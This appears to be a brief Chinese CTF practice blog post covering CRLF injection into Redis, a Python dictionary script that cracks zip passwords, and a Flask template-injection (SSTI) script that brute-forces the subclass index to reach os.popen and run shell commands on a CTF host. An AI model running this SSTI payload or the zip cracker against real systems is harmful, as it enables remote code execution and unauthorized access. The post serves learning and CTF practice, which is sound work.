Background
师傅们都说没有代码能力的黑客很难走下去,正好自己的zhishihezi有这么一个小模块,简单跟着走走
CRLF
刚刚做完的题目
CRLF注入攻击
发送redis命令读flag
hmm,大致思路就是这样 然后他这个远程环境好像崩掉了
zip爆破密码
import zipfile
def read_dicts(filename):
dicts=[]
with open(filename,'r') as f:
dicts=[pwd.strip() for pwd in f.readlines()]
return dicts
def blast(zip_f,pwd):
try:
zip_f.extractall('./',pwd=pwd.encode())
return pwd
except Exception as e:
if 'Bad password' in str(e):
return False
if __name__ == '__main__':
dict_file ='./zip_dict_1673.txt'
zip_file=zipfile.ZipFile('./test_8606.zip')
for password in read_dicts(dict_file):
result=blast(zip_file,password)
if result:
print('[+]get password:'+result)
break
else:
print('- not found.')
直接上exp
我的踩坑点:ZipFile这个驼峰规则 F大写。
学到了一些数据的处理手段和简单的用法吧
flask模板注入
ctf的经典题目 ssti
其实知识盒子里面的那个没啥意思,
正常来说是找index的值的
我们知道pytho万物皆对象
所有都是基于object
通过这个找可用的os类,通过编号读,这里面可以写脚本
import requests
import re
for i in range(0,400):
url='''http://node3.buuoj.cn:28788/?name={{''.__class__.__base__.__subclasses__()[%d].__init__.__globals__['popen']('ls /').read()}}'''%(i)
res = requests.get(url)
if("root" in res.text):
print(res.text)
break
else:
print("no")